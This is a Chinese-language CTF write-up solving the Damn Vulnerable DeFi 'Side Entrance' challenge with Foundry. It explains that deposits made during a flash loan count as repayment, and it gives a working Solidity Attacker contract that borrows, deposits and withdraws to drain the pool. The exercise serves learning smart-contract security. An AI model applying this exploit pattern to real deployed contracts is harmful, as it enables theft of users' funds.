xChar
·a year ago

Challenge #4 - Side Entrance

为了系统的学习solidity和foundry,我基于foundry测试框架重新编写damnvulnerable-defi的题解,欢迎交流和共建~🎉

https://github.com/zach030/damnvulnerabledefi-foundry

合约

  • SideEntranceLenderPool:提供deposit和withdraw方法,支持闪电贷

脚本

  • 部署SideEntranceLenderPool合约
  • 向pool中deposit eth数目ETHER_IN_POOL
  • 执行攻击脚本
  • 期望pool中的余额为0,player余额大于ETHER_IN_POOL

题解

本题的攻克点在于deposit+withdraw,可以先通过闪电贷获得eth,再调用deposit获得凭证,再结束闪电贷后通过withdraw提取出eth,整体流程图如下所示:

image

  • 调用pool的flashLoan方法时会调用IFlashLoanEtherReceiver(msg.sender).execute{value: amount}(); 因此在攻击合约中需要实现execute 方法,做的工作就是进行deposit,从而完成闪电贷还款,还多记录了一份存款凭证
  • player再通过调用withdraw方法从pool中取出对应的eth,全部转移到player,完成攻击

合约代码如下:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../../src/side-entrance/SideEntranceLenderPool.sol";

contract Attacker {

    SideEntranceLenderPool pool;
    address owner;
    constructor(address _pool){
        pool = SideEntranceLenderPool(_pool);
        owner = msg.sender;
    }
    
    receive() external payable {
        payable(owner).transfer(msg.value);
    }

    function attack(uint256 amount) external payable{
        pool.flashLoan(amount);
    }

    function execute() external payable{
        uint256 value = msg.value;
        // deposit
        pool.deposit{value: value}();
    }

    function withdraw() external{
        pool.withdraw();
    }
}
Loading comments...